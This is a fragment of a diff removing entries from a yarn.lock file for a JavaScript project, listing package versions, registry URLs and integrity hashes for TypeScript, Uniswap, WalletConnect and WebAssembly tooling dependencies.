-    "@types/prop-types" "*"
-    "@types/scheduler" "*"
-    csstype "^3.0.2"
-
-"@types/scheduler@*":
-  version "0.16.1"
-  resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275"
-  integrity sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==
-
-"@types/secp256k1@^4.0.1":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@types/secp256k1/-/secp256k1-4.0.2.tgz#20c29a87149d980f64464e56539bf4810fdb5d1d"
-  integrity sha512-QMg+9v0bbNJ2peLuHRWxzmy0HRJIG6gFZNhaRSp7S3ggSbCCxiqQB2/ybvhXyhHOCequpNkrx7OavNhrWOsW0A==
-  dependencies:
-    "@types/node" "*"
-
-"@types/stack-utils@^1.0.1":
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-1.0.1.tgz#0a851d3bd96498fa25c33ab7278ed3bd65f06c3e"
-  integrity sha512-l42BggppR6zLmpfU6fq9HEa2oGPEI8yrSPL3GITjfRInppYFahObbIQOQK3UGxEnyQpltZLaPe75046NOZQikw==
-
-"@types/testing-library__dom@^6.12.1":
-  version "6.14.0"
-  resolved "https://registry.yarnpkg.com/@types/testing-library__dom/-/testing-library__dom-6.14.0.tgz#1aede831cb4ed4a398448df5a2c54b54a365644e"
-  integrity sha512-sMl7OSv0AvMOqn1UJ6j1unPMIHRXen0Ita1ujnMX912rrOcawe4f7wu0Zt9GIQhBhJvH2BaibqFgQ3lP+Pj2hA==
-  dependencies:
-    pretty-format "^24.3.0"
-
-"@types/testing-library__jest-dom@^5.9.1":
-  version "5.14.0"
-  resolved "https://registry.yarnpkg.com/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.0.tgz#98eb7537cb5502bcca7a0d82acf5f245a2e6c322"
-  integrity sha512-l2P2GO+hFF4Liye+fAajT1qBqvZOiL79YMpEvgGs1xTK7hECxBI8Wz4J7ntACJNiJ9r0vXQqYovroXRLPDja6A==
-  dependencies:
-    "@types/jest" "*"
-
-"@types/yargs-parser@*":
-  version "20.2.0"
-  resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-20.2.0.tgz#dd3e6699ba3237f0348cd085e4698780204842f9"
-  integrity sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==
-
-"@types/yargs@^13.0.0":
-  version "13.0.11"
-  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-13.0.11.tgz#def2f0c93e4bdf2c61d7e34899b17e34be28d3b1"
-  integrity sha512-NRqD6T4gktUrDi1o1wLH3EKC1o2caCr7/wR87ODcbVITQF106OM3sFN92ysZ++wqelOd1CTzatnOBRDYYG6wGQ==
-  dependencies:
-    "@types/yargs-parser" "*"
-
-"@types/yargs@^15.0.0":
-  version "15.0.13"
-  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-15.0.13.tgz#34f7fec8b389d7f3c1fd08026a5763e072d3c6dc"
-  integrity sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==
-  dependencies:
-    "@types/yargs-parser" "*"
-
-"@types/zen-observable@^0.8.0":
-  version "0.8.2"
-  resolved "https://registry.yarnpkg.com/@types/zen-observable/-/zen-observable-0.8.2.tgz#808c9fa7e4517274ed555fa158f2de4b4f468e71"
-  integrity sha512-HrCIVMLjE1MOozVoD86622S7aunluLb2PJdPfb3nYiEtohm8mIB/vyv0Fd37AdeMFrTUQXEunw78YloMA3Qilg==
-
-"@typescript-eslint/eslint-plugin@^2.10.0":
-  version "2.34.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-2.34.0.tgz#6f8ce8a46c7dea4a6f1d171d2bb8fbae6dac2be9"
-  integrity sha512-4zY3Z88rEE99+CNvTbXSyovv2z9PNOVffTWD2W8QF5s2prBQtwN2zadqERcrHpcR7O/+KMI3fcTAmUUhK/iQcQ==
-  dependencies:
-    "@typescript-eslint/experimental-utils" "2.34.0"
-    functional-red-black-tree "^1.0.1"
-    regexpp "^3.0.0"
-    tsutils "^3.17.1"
-
-"@typescript-eslint/experimental-utils@2.34.0":
-  version "2.34.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/experimental-utils/-/experimental-utils-2.34.0.tgz#d3524b644cdb40eebceca67f8cf3e4cc9c8f980f"
-  integrity sha512-eS6FTkq+wuMJ+sgtuNTtcqavWXqsflWcfBnlYhg/nS4aZ1leewkXGbvBhaapn1q6qf4M71bsR1tez5JTRMuqwA==
-  dependencies:
-    "@types/json-schema" "^7.0.3"
-    "@typescript-eslint/typescript-estree" "2.34.0"
-    eslint-scope "^5.0.0"
-    eslint-utils "^2.0.0"
-
-"@typescript-eslint/parser@^2.10.0":
-  version "2.34.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-2.34.0.tgz#50252630ca319685420e9a39ca05fe185a256bc8"
-  integrity sha512-03ilO0ucSD0EPTw2X4PntSIRFtDPWjrVq7C3/Z3VQHRC7+13YB55rcJI3Jt+YgeHbjUdJPcPa7b23rXCBokuyA==
-  dependencies:
-    "@types/eslint-visitor-keys" "^1.0.0"
-    "@typescript-eslint/experimental-utils" "2.34.0"
-    "@typescript-eslint/typescript-estree" "2.34.0"
-    eslint-visitor-keys "^1.1.0"
-
-"@typescript-eslint/typescript-estree@2.34.0":
-  version "2.34.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-2.34.0.tgz#14aeb6353b39ef0732cc7f1b8285294937cf37d5"
-  integrity sha512-OMAr+nJWKdlVM9LOqCqh3pQQPwxHAN7Du8DR6dmwCrAmxtiXQnhHJ6tBNtf+cggqfo51SG/FCwnKhXCIM7hnVg==
-  dependencies:
-    debug "^4.1.1"
-    eslint-visitor-keys "^1.1.0"
-    glob "^7.1.6"
-    is-glob "^4.0.1"
-    lodash "^4.17.15"
-    semver "^7.3.2"
-    tsutils "^3.17.1"
-
-"@uniswap/lib@1.1.1":
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/@uniswap/lib/-/lib-1.1.1.tgz#0afd29601846c16e5d082866cbb24a9e0758e6bc"
-  integrity sha512-2yK7sLpKIT91TiS5sewHtOa7YuM8IuBXVl4GZv2jZFys4D2sY7K5vZh6MqD25TPA95Od+0YzCVq6cTF2IKrOmg==
-
-"@uniswap/sdk@^3.0.3":
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/@uniswap/sdk/-/sdk-3.0.3.tgz#8201c7c72215d0030cb99acc7e661eff895c18a9"
-  integrity sha512-t4s8bvzaCFSiqD2qfXIm3rWhbdnXp+QjD3/mRaeVDHK7zWevs6RGEb1ohMiNgOCTZANvBayb4j8p+XFdnMBadQ==
-  dependencies:
-    "@uniswap/v2-core" "^1.0.0"
-    big.js "^5.2.2"
-    decimal.js-light "^2.5.0"
-    jsbi "^3.1.1"
-    tiny-invariant "^1.1.0"
-    tiny-warning "^1.0.3"
-    toformat "^2.0.0"
-
-"@uniswap/v2-core@1.0.0":
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/@uniswap/v2-core/-/v2-core-1.0.0.tgz#e0fab91a7d53e8cafb5326ae4ca18351116b0844"
-  integrity sha512-BJiXrBGnN8mti7saW49MXwxDBRFiWemGetE58q8zgfnPPzQKq55ADltEILqOt6VFZ22kVeVKbF8gVd8aY3l7pA==
-
-"@uniswap/v2-core@^1.0.0":
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/@uniswap/v2-core/-/v2-core-1.0.1.tgz#af8f508bf183204779938969e2e54043e147d425"
-  integrity sha512-MtybtkUPSyysqLY2U210NBDeCHX+ltHt3oADGdjqoThZaFRDKwM6k1Nb3F0A3hk5hwuQvytFWhrWHOEq6nVJ8Q==
-
-"@uniswap/v2-periphery@^1.1.0-beta.0":
-  version "1.1.0-beta.0"
-  resolved "https://registry.yarnpkg.com/@uniswap/v2-periphery/-/v2-periphery-1.1.0-beta.0.tgz#20a4ccfca22f1a45402303aedb5717b6918ebe6d"
-  integrity sha512-6dkwAMKza8nzqYiXEr2D86dgW3TTavUvCR0w2Tu33bAbM8Ah43LKAzH7oKKPRT5VJQaMi1jtkGs1E8JPor1n5g==
-  dependencies:
-    "@uniswap/lib" "1.1.1"
-    "@uniswap/v2-core" "1.0.0"
-
-"@walletconnect/browser-utils@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/browser-utils/-/browser-utils-1.4.1.tgz#a8d5a038d28c19b739eb0ff4194ced140c922d36"
-  integrity sha512-ONrkPSI/27o1Wj8kUwE0uUZFk0GDCDQBJy614GsrhcwuQwJEW/B+nXPQ+Ca/4WvQySM5hWVHp1gO1kozSUkh3A==
-  dependencies:
-    "@walletconnect/types" "^1.4.1"
-    detect-browser "5.2.0"
-    safe-json-utils "1.0.0"
-    window-getters "1.0.0"
-    window-metadata "1.0.0"
-
-"@walletconnect/client@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/client/-/client-1.4.1.tgz#c9c50df5afde23a35e23d96fe6d207c102e53850"
-  integrity sha512-JRW+9+j9LwszY76/WcIumEiLmhX7eidorH9SFFmI2pFfbrhB6KLe87FaA106kxwZUyWKOLZ6jVV4d1urYSdEwA==
-  dependencies:
-    "@walletconnect/core" "^1.4.1"
-    "@walletconnect/iso-crypto" "^1.4.1"
-    "@walletconnect/types" "^1.4.1"
-    "@walletconnect/utils" "^1.4.1"
-
-"@walletconnect/core@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/core/-/core-1.4.1.tgz#68310ee7c9737a7a0a7f1308abbfc1c31212b9a6"
-  integrity sha512-NzWvhk4akI2uhORUxMDMS/8yAdfp+nzvb5QdTE0eTD0WOrK16qAfYLSU/IjFc2J2lqhuPVxfO2XV7QoxgCXfwA==
-  dependencies:
-    "@walletconnect/socket-transport" "^1.4.1"
-    "@walletconnect/types" "^1.4.1"
-    "@walletconnect/utils" "^1.4.1"
-
-"@walletconnect/http-connection@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/http-connection/-/http-connection-1.4.1.tgz#a36d3645eea2606c876e3824b7d46549bf237833"
-  integrity sha512-nxpaTjS89exDQQdrp/NJsbbfREio6WQ0aJ9+nZv1YGIIGVu/7WaNDuVY+UXbaBWPEKYrysf4nvzNHJ2BWhkqoA==
-  dependencies:
-    "@walletconnect/types" "^1.4.1"
-    "@walletconnect/utils" "^1.4.1"
-    eventemitter3 "4.0.7"
-    xhr2-cookies "1.1.0"
-
-"@walletconnect/iso-crypto@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/iso-crypto/-/iso-crypto-1.4.1.tgz#0d9793c679d6c5443c49cce83f5d8dd476a65df2"
-  integrity sha512-rzfqM/DFhzNxBriMCU4DOarPkH+Brgll+2a2YeO6zHgMlwZtBKi5mMgzBwbDC3XygOvKbcRTB9G9hr8uYn+i5g==
-  dependencies:
-    "@pedrouid/iso-crypto" "^1.0.0"
-    "@walletconnect/types" "^1.4.1"
-    "@walletconnect/utils" "^1.4.1"
-
-"@walletconnect/mobile-registry@^1.4.0":
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/@walletconnect/mobile-registry/-/mobile-registry-1.4.0.tgz#502cf8ab87330841d794819081e748ebdef7aee5"
-  integrity sha512-ZtKRio4uCZ1JUF7LIdecmZt7FOLnX72RPSY7aUVu7mj7CSfxDwUn6gBuK6WGtH+NZCldBqDl5DenI5fFSvkKYw==
-
-"@walletconnect/qrcode-modal@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/qrcode-modal/-/qrcode-modal-1.4.1.tgz#58b78dc1dc02b1467fa3444da341ff375408c037"
-  integrity sha512-cIPKwYg+029UQY0natMyuNudxppYMfAzV2zAgdOSViphKTRY8RTI0DcJXVGPXEwx4k6Os3Vj6Fhqqo3RXOtgKg==
-  dependencies:
-    "@walletconnect/browser-utils" "^1.4.1"
-    "@walletconnect/mobile-registry" "^1.4.0"
-    "@walletconnect/types" "^1.4.1"
-    preact "10.4.1"
-    qrcode "1.4.4"
-
-"@walletconnect/socket-transport@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/socket-transport/-/socket-transport-1.4.1.tgz#d9b7ebb9a2843cc44cf96c880c62be78d4a1625f"
-  integrity sha512-/5Mhu4bu3tS52LqTlmmjx5x/N89XqbuT0YMobvQ+k/m+VqSeBDntqIjwBt7XiFlCbrUTq3/yTajavGFxWFB6pA==
-  dependencies:
-    "@walletconnect/types" "^1.4.1"
-    "@walletconnect/utils" "^1.4.1"
-    ws "7.3.0"
-
-"@walletconnect/types@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/types/-/types-1.4.1.tgz#48297238b86f846b8c694504ca45f0059a2cca88"
-  integrity sha512-lzS9NbXjVb5N+W/UnCZAflxjLtYepUi4ev1IeFozSvr/cWxAhEe/sjixe7WEIpYklW27kfBhKccMH/KjUoRC7w==
-
-"@walletconnect/utils@^1.4.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/utils/-/utils-1.4.1.tgz#86108470c211a02609274a6c7bbd516c5182a22e"
-  integrity sha512-JrVjcXmWVcU02fmVNZFBpJ48f84qyar24CF7szGv+k9ZxvU9J7XkM+Fic4790Dt3DaWhOzS9/eBUa+BEZcBbNw==
-  dependencies:
-    "@json-rpc-tools/utils" "1.6.1"
-    "@walletconnect/browser-utils" "^1.4.1"
-    "@walletconnect/types" "^1.4.1"
-    bn.js "4.11.8"
-    enc-utils "3.0.0"
-    js-sha3 "0.8.0"
-    query-string "6.13.5"
-
-"@walletconnect/web3-provider@^1.3.1":
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/@walletconnect/web3-provider/-/web3-provider-1.4.1.tgz#34f6319ab2473ab9ff0fcf1e8bc280c697fa01ff"
-  integrity sha512-gUoBGM5hdtcXSoLXDTG1/WTamnUNpEWfaYMIVkfVnvVFd4whIjb0iOW5ywvDOf/49wq0C2+QThZL2Wc+r+jKLA==
-  dependencies:
-    "@walletconnect/client" "^1.4.1"
-    "@walletconnect/http-connection" "^1.4.1"
-    "@walletconnect/qrcode-modal" "^1.4.1"
-    "@walletconnect/types" "^1.4.1"
-    "@walletconnect/utils" "^1.4.1"
-    web3-provider-engine "16.0.1"
-
-"@webassemblyjs/ast@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.8.5.tgz#51b1c5fe6576a34953bf4b253df9f0d490d9e359"
-  integrity sha512-aJMfngIZ65+t71C3y2nBBg5FFG0Okt9m0XEgWZ7Ywgn1oMAT8cNwx00Uv1cQyHtidq0Xn94R4TAywO+LCQ+ZAQ==
-  dependencies:
-    "@webassemblyjs/helper-module-context" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/wast-parser" "1.8.5"
-
-"@webassemblyjs/floating-point-hex-parser@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.8.5.tgz#1ba926a2923613edce496fd5b02e8ce8a5f49721"
-  integrity sha512-9p+79WHru1oqBh9ewP9zW95E3XAo+90oth7S5Re3eQnECGq59ly1Ri5tsIipKGpiStHsUYmY3zMLqtk3gTcOtQ==
-
-"@webassemblyjs/helper-api-error@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.8.5.tgz#c49dad22f645227c5edb610bdb9697f1aab721f7"
-  integrity sha512-Za/tnzsvnqdaSPOUXHyKJ2XI7PDX64kWtURyGiJJZKVEdFOsdKUCPTNEVFZq3zJ2R0G5wc2PZ5gvdTRFgm81zA==
-
-"@webassemblyjs/helper-buffer@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.8.5.tgz#fea93e429863dd5e4338555f42292385a653f204"
-  integrity sha512-Ri2R8nOS0U6G49Q86goFIPNgjyl6+oE1abW1pS84BuhP1Qcr5JqMwRFT3Ah3ADDDYGEgGs1iyb1DGX+kAi/c/Q==
-
-"@webassemblyjs/helper-code-frame@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.8.5.tgz#9a740ff48e3faa3022b1dff54423df9aa293c25e"
-  integrity sha512-VQAadSubZIhNpH46IR3yWO4kZZjMxN1opDrzePLdVKAZ+DFjkGD/rf4v1jap744uPVU6yjL/smZbRIIJTOUnKQ==
-  dependencies:
-    "@webassemblyjs/wast-printer" "1.8.5"
-
-"@webassemblyjs/helper-fsm@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-fsm/-/helper-fsm-1.8.5.tgz#ba0b7d3b3f7e4733da6059c9332275d860702452"
-  integrity sha512-kRuX/saORcg8se/ft6Q2UbRpZwP4y7YrWsLXPbbmtepKr22i8Z4O3V5QE9DbZK908dh5Xya4Un57SDIKwB9eow==
-
-"@webassemblyjs/helper-module-context@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-module-context/-/helper-module-context-1.8.5.tgz#def4b9927b0101dc8cbbd8d1edb5b7b9c82eb245"
-  integrity sha512-/O1B236mN7UNEU4t9X7Pj38i4VoU8CcMHyy3l2cV/kIF4U5KoHXDVqcDuOs1ltkac90IM4vZdHc52t1x8Yfs3g==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    mamacro "^0.0.3"
-
-"@webassemblyjs/helper-wasm-bytecode@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.8.5.tgz#537a750eddf5c1e932f3744206551c91c1b93e61"
-  integrity sha512-Cu4YMYG3Ddl72CbmpjU/wbP6SACcOPVbHN1dI4VJNJVgFwaKf1ppeFJrwydOG3NDHxVGuCfPlLZNyEdIYlQ6QQ==
-
-"@webassemblyjs/helper-wasm-section@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.8.5.tgz#74ca6a6bcbe19e50a3b6b462847e69503e6bfcbf"
-  integrity sha512-VV083zwR+VTrIWWtgIUpqfvVdK4ff38loRmrdDBgBT8ADXYsEZ5mPQ4Nde90N3UYatHdYoDIFb7oHzMncI02tA==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-buffer" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/wasm-gen" "1.8.5"
-
-"@webassemblyjs/ieee754@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.8.5.tgz#712329dbef240f36bf57bd2f7b8fb9bf4154421e"
-  integrity sha512-aaCvQYrvKbY/n6wKHb/ylAJr27GglahUO89CcGXMItrOBqRarUMxWLJgxm9PJNuKULwN5n1csT9bYoMeZOGF3g==
-  dependencies:
-    "@xtuc/ieee754" "^1.2.0"
-
-"@webassemblyjs/leb128@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.8.5.tgz#044edeb34ea679f3e04cd4fd9824d5e35767ae10"
-  integrity sha512-plYUuUwleLIziknvlP8VpTgO4kqNaH57Y3JnNa6DLpu/sGcP6hbVdfdX5aHAV716pQBKrfuU26BJK29qY37J7A==
-  dependencies:
-    "@xtuc/long" "4.2.2"
-
-"@webassemblyjs/utf8@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.8.5.tgz#a8bf3b5d8ffe986c7c1e373ccbdc2a0915f0cedc"
-  integrity sha512-U7zgftmQriw37tfD934UNInokz6yTmn29inT2cAetAsaU9YeVCveWEwhKL1Mg4yS7q//NGdzy79nlXh3bT8Kjw==
-
-"@webassemblyjs/wasm-edit@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.8.5.tgz#962da12aa5acc1c131c81c4232991c82ce56e01a"
-  integrity sha512-A41EMy8MWw5yvqj7MQzkDjU29K7UJq1VrX2vWLzfpRHt3ISftOXqrtojn7nlPsZ9Ijhp5NwuODuycSvfAO/26Q==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-buffer" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/helper-wasm-section" "1.8.5"
-    "@webassemblyjs/wasm-gen" "1.8.5"
-    "@webassemblyjs/wasm-opt" "1.8.5"
-    "@webassemblyjs/wasm-parser" "1.8.5"
-    "@webassemblyjs/wast-printer" "1.8.5"
-
-"@webassemblyjs/wasm-gen@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.8.5.tgz#54840766c2c1002eb64ed1abe720aded714f98bc"
-  integrity sha512-BCZBT0LURC0CXDzj5FXSc2FPTsxwp3nWcqXQdOZE4U7h7i8FqtFK5Egia6f9raQLpEKT1VL7zr4r3+QX6zArWg==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/ieee754" "1.8.5"
-    "@webassemblyjs/leb128" "1.8.5"
-    "@webassemblyjs/utf8" "1.8.5"
-
-"@webassemblyjs/wasm-opt@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.8.5.tgz#b24d9f6ba50394af1349f510afa8ffcb8a63d264"
-  integrity sha512-HKo2mO/Uh9A6ojzu7cjslGaHaUU14LdLbGEKqTR7PBKwT6LdPtLLh9fPY33rmr5wcOMrsWDbbdCHq4hQUdd37Q==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-buffer" "1.8.5"
-    "@webassemblyjs/wasm-gen" "1.8.5"
-    "@webassemblyjs/wasm-parser" "1.8.5"
-
-"@webassemblyjs/wasm-parser@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.8.5.tgz#21576f0ec88b91427357b8536383668ef7c66b8d"
-  integrity sha512-pi0SYE9T6tfcMkthwcgCpL0cM9nRYr6/6fjgDtL6q/ZqKHdMWvxitRi5JcZ7RI4SNJJYnYNaWy5UUrHQy998lw==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-api-error" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/ieee754" "1.8.5"
-    "@webassemblyjs/leb128" "1.8.5"
-    "@webassemblyjs/utf8" "1.8.5"
-
-"@webassemblyjs/wast-parser@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-parser/-/wast-parser-1.8.5.tgz#e10eecd542d0e7bd394f6827c49f3df6d4eefb8c"
-  integrity sha512-daXC1FyKWHF1i11obK086QRlsMsY4+tIOKgBqI1lxAnkp9xe9YMcgOxm9kLe+ttjs5aWV2KKE1TWJCN57/Btsg==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/floating-point-hex-parser" "1.8.5"
-    "@webassemblyjs/helper-api-error" "1.8.5"
-    "@webassemblyjs/helper-code-frame" "1.8.5"
-    "@webassemblyjs/helper-fsm" "1.8.5"
-    "@xtuc/long" "4.2.2"
-
-"@webassemblyjs/wast-printer@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.8.5.tgz#114bbc481fd10ca0e23b3560fa812748b0bae5bc"
-  integrity sha512-w0U0pD4EhlnvRyeJzBqaVSJAo9w/ce7/WPogeXLzGkO6hzhr4GnQIZ4W4uUt5b9ooAaXPtnXlj0gzsXEOUNYMg==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/wast-parser" "1.8.5"
-    "@xtuc/long" "4.2.2"
-
-"@wry/context@^0.4.0":
-  version "0.4.4"
-  resolved "https://registry.yarnpkg.com/@wry/context/-/context-0.4.4.tgz#e50f5fa1d6cfaabf2977d1fda5ae91717f8815f8"
-  integrity sha512-LrKVLove/zw6h2Md/KZyWxIkFM6AoyKp71OqpH9Hiip1csjPVoD3tPxlbQUNxEnHENks3UGgNpSBCAfq9KWuag==
-  dependencies:
-    "@types/node" ">=6"
-    tslib "^1.9.3"
-
-"@wry/context@^0.6.0":
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/@wry/context/-/context-0.6.0.tgz#f903eceb89d238ef7e8168ed30f4511f92d83e06"
-  integrity sha512-sAgendOXR8dM7stJw3FusRxFHF/ZinU0lffsA2YTyyIOfic86JX02qlPqPVqJNZJPAxFt+2EE8bvq6ZlS0Kf+Q==
-  dependencies:
-    tslib "^2.1.0"
-
-"@wry/equality@^0.1.2":
-  version "0.1.11"
-  resolved "https://registry.yarnpkg.com/@wry/equality/-/equality-0.1.11.tgz#35cb156e4a96695aa81a9ecc4d03787bc17f1790"
-  integrity sha512-mwEVBDUVODlsQQ5dfuLUS5/Tf7jqUKyhKYHmVi4fPB6bDMOfWvUPJmKgS1Z7Za/sOI3vzWt4+O7yCiL/70MogA==
-  dependencies:
-    tslib "^1.9.3"
-
-"@wry/equality@^0.5.0":
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/@wry/equality/-/equality-0.5.1.tgz#b22e4e1674d7bf1439f8ccdccfd6a785f6de68b0"
-  integrity sha512-FZKbdpbcVcbDxQrKcaBClNsQaMg9nof1RKM7mReJe5DKUzM5u8S7T+PqwNqvib5O2j2xxF1R4p5O3+b6baTrbw==
-  dependencies:
-    tslib "^2.1.0"
-
-"@wry/trie@^0.3.0":
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/@wry/trie/-/trie-0.3.0.tgz#3245e74988c4e3033299e479a1bf004430752463"
-  integrity sha512-Yw1akIogPhAT6XPYsRHlZZIS0tIGmAl9EYXHi2scf7LPKKqdqmow/Hu4kEqP2cJR3EjaU/9L0ZlAjFf3hFxmug==
-  dependencies:
-    tslib "^2.1.0"
-
-"@xtuc/ieee754@^1.2.0":
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790"
-  integrity sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==
-
-"@xtuc/long@4.2.2":
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/@xtuc/long/-/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d"
-  integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==
-
-abab@^2.0.0:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.5.tgz#c0b678fb32d60fc1219c784d6a826fe385aeb79a"
-  integrity sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==
-
-abort-controller@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/abort-controller/-/abort-controller-3.0.0.tgz#eaf54d53b62bae4138e809ca225c8439a6efb392"
-  integrity sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==
-  dependencies:
-    event-target-shim "^5.0.0"
-
-abstract-leveldown@~2.6.0:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-2.6.3.tgz#1c5e8c6a5ef965ae8c35dfb3a8770c476b82c4b8"
-  integrity sha512-2++wDf/DYqkPR3o5tbfdhF96EfMApo1GpPfzOsR/ZYXdkSmELlvOOEAl9iKkRsktMPHdGjO4rtkBpf2I7TiTeA==
-  dependencies:
-    xtend "~4.0.0"
-
-abstract-leveldown@~2.7.1:
-  version "2.7.2"
-  resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-2.7.2.tgz#87a44d7ebebc341d59665204834c8b7e0932cc93"
-  integrity sha512-+OVvxH2rHVEhWLdbudP6p0+dNMXu8JA1CbhP19T8paTYAcX7oJ4OVjT+ZUVpv7mITxXHqDMej+GdqXBmXkw09w==
-  dependencies:
-    xtend "~4.0.0"
-
-accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.7:
-  version "1.3.7"
